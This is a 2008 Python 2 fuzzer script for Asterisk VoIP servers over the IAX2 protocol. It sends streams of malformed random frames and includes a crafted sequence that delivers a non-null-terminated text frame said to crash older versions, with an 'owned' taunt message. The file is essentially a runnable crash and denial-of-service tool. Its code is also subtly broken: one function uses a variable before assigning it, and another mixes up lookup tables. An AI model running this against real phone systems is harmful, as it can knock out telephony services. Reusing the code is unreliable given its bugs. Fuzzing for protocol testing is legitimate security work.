#!/usr/bin/env python

"""
fuzz_iax2a.py
by Javantea aka. Joel R. Voss
April 16, 2008

Released under GNU GPL, read the file 'COPYING' for more information

This script contains a fuzzer that allows us to test a device or server.
It uses the altsci_iax2 exploit framework.

The first test of sequence 2 is a great success. No crashes but a lot of 
debugging data from asterisk.

"""

import altsci_iax2
from random import seed, randint
from time import sleep, time
from socket import socket, AF_INET, SOCK_STREAM, SOCK_DGRAM

def sequence700_text(session, i):
	"""
	Send valid dtmf tones for 700 (#Neg9 Irc Reader) then send a 
	non-null-terminated string via FT_TEXT (kills strlen on an old version).
	"""
	if i == 300:
		print 'sending dtmf'
		session.send(data, frame_type = altsci_iax2.IAX_FRAMETYPE['FT_DTMF_BEGIN'], subclass = ord('7'))
	elif i == 312:
		session.send(data, frame_type = altsci_iax2.IAX_FRAMETYPE['FT_DTMF'], subclass = ord('7'))
	elif i == 324:
		session.send(data, frame_type = altsci_iax2.IAX_FRAMETYPE['FT_DTMF_BEGIN'], subclass = ord('0'))
	elif i == 336:
		session.send(data, frame_type = altsci_iax2.IAX_FRAMETYPE['FT_DTMF'], subclass = ord('0'))
	elif i == 348:
		session.send(data, frame_type = altsci_iax2.IAX_FRAMETYPE['FT_DTMF_BEGIN'], subclass = ord('0'))
	elif i == 360:
		session.send(data, frame_type = altsci_iax2.IAX_FRAMETYPE['FT_DTMF'], subclass = ord('0'))
	elif i == 380:
		print 'sending 0wnage!'
		data = 'you have been owned by a script muhahahaha'
		session.send(data, frame_type = altsci_iax2.IAX_FRAMETYPE['FT_TEXT'], subclass = 0)
	#end if
#end def sequence700_text(session, i)

def sequence2(session, i):
	"""
	Sequence 2 uses a random frame_type and subclass zero for more likely 
	attack.
	"""
	data = 'blah'
	if i % 13:
		k = randint(0, len(altsci_iax2.IAX_FRAMETYPE.keys())-1)
		key = altsci_iax2.IAX_FRAMETYPE.keys()[k]
		frame_type = altsci_iax2.IAX_FRAMETYPE[key]
		session.send(data, frame_type = frame_type, subclass = 0)
		return True
	#end if
	return False
#end def sequence2(session, i)

def sequence1(session, i):
	"""
	Sequence 1 uses random frame_type and subclass for a very random attack.
	"""
	if i % 13:
		data = 'yak'
		k = randint(0, len(altsci_iax2.IAX_FRAMETYPE.keys())-1)
		key = altsci_iax2.IAX_FRAMETYPE.keys()[k]
		sk = randint(0, len(altsci_iax2.IAXCTL_SUBCLASS.keys())-1)
		skey = altsci_iax2.IAXCTL_SUBCLASS.keys()[sk]
		session.send(data, frame_type = altsci_iax2.IAXCTL_SUBCLASS[key], subclass = 0)
		return True
	#end if
	return False
#end def sequence1(session, i)

def iax2_fuzz1(host, port=4569, in_seed=None, aout=None, out_filename='', verbose=True, sequence=2):
	"""
	This function sends a lot of pseudorandom packets to an asterisk server.
	The seed is printed so that the attack can be reproduced.
	The sequence can be any of the 3 above functions:
	1, 2, or 700 maps to sequence 1, 2, and 700_text
	"""
	if in_seed == None:
		in_seed = randint(0, 1014079999)
	#end if
	seed(in_seed)
	print 'seed =', in_seed
	
	pcm_data = ''
	
	session = altsci_iax2.IAX_session(host, port, verbose)
	
	outfile = None
	if out_filename != '':
		outfile = file(out_filename, 'w')
	#end if
	
	my_iseq = 0
	my_oseq = 0
	
	# Capability == GSM, ...
	data = altsci_iax2.IAX_create_ie(altsci_iax2.IAX_IE_TYPE['IAX_IE_CAPABILITY'], altsci_iax2.pack_long(0x000002aa))
	# Reqd Version, Called number, codec prefs, Calling Presentation, 
	# Calling TON, Calling TNS, Format?
	session.send(data)
	
	# Receive a few times because it goes:
	# VNAK, LAGRQ, LAGRQ, PING, LAGRQ, PING, ...
	# or:
	# IC_ACCEPT, FT_CONTROL 4, FT_VOICE 2, IC_ACCEPT rt, ...
	
	resp = session.recv()
	
	doit = 0
	if resp[0] == altsci_iax2.IAX_FRAMETYPE['FT_IAXCTL'] and resp[1] == altsci_iax2.IAXCTL_SUBCLASS['IC_ACCEPT']:
		print "Accepted, let's ack"
		data = ''
		session.send(data, frame_type = altsci_iax2.IAX_FRAMETYPE['FT_IAXCTL'], subclass = altsci_iax2.IAXCTL_SUBCLASS['IC_ACK'])
		doit = 1
	#end if
	
	for i in range(722):
		resp = session.recv()
		if aout and len(resp) == 5 and 'pcm' in resp[4]:
			pcm_data += resp[4]['pcm']
		if outfile and len(resp) == 5 and 'gsm' in resp[4]:
			outfile.write(resp[4]['gsm'])
		#end if
		if verbose: print
		
		data = ''
		if doit:
			if sequence == 700:
				sequence700_text(session, i)
			elif sequence == 2:
				sequence2(session, i)
			else:
				sequence1(session, i)
			#end if
		#end if
		if len(pcm_data) > 33000:
			if aout: aout.write(pcm_data)
			pcm_data = ''
		#end if
	#next i
	
	session.close()
	if outfile: outfile.close()
	if aout and len(pcm_data) > 0:
		aout.write(pcm_data)
		pcm_data = ''
	#end if
#end def iax2_fuzz1(host, [port=4569], [aout=None], [out_filename=''], [verbose=True], [sequence=2])

def main():
	"""
	Usage:
	python fuzz_iax2a.py [host] [port] [sequence] [seed] [out_filename]
	"""
	host = '192.168.0.3'
	port = 4569
	out_filename = ''
	aout = None
	in_seed = None
	verbose = True
	sequence = 2
	from sys import argv
	if '-q' in argv:
		verbose = False
		argv.pop(argv.index('-q'))
	#end if
	if len(argv) >= 2:
		host = argv[1]
	#end if
	if len(argv) >= 3:
		try:
			port = int(argv[2])
		except:
			print "Invalid port:", argv[2]
			port = 4569
		#end try
	#end if
	if len(argv) >= 4:
		sequence = int(argv[3])
	#end if
	if len(argv) >= 5:
		in_seed = argv[4]
		try:
			in_seed = int(in_seed)
		except:
			pass
		#end try
	#end if
	if len(argv) >= 6:
		out_filename = argv[5]
	#end if
	
	if altsci_iax2.alsaaudio:
		# Open the onboard device in playback mode.
		#out = altsci_iax2.alsaaudio.PCM(altsci_iax2.alsaaudio.PCM_PLAYBACK, altsci_iax2.alsaaudio.PCM_NORMAL, 'plug:i8x0')
		# Open the default device in playback mode.
		aout = altsci_iax2.alsaaudio.PCM(altsci_iax2.alsaaudio.PCM_PLAYBACK)
		
		# Set attributes: Stereo, 8000 Hz, 16 bit little endian frames
		aout.setchannels(2)
		aout.setrate(8000)
		aout.setformat(altsci_iax2.alsaaudio.PCM_FORMAT_S16_LE)
		
		# The period size controls the internal number of frames per period.
		# The significance of this parameter is documented in the ALSA api.
		aout.setperiodsize(160)
	#end if
	
	try:
		iax2_fuzz1(host, port, in_seed, aout, out_filename, verbose, sequence)
	except KeyboardInterrupt:
		# A very narrow exception to allow ctrl-c to exit sanely.
		pass
	#end try
#end def main()

if __name__ == '__main__':
	main()
#end if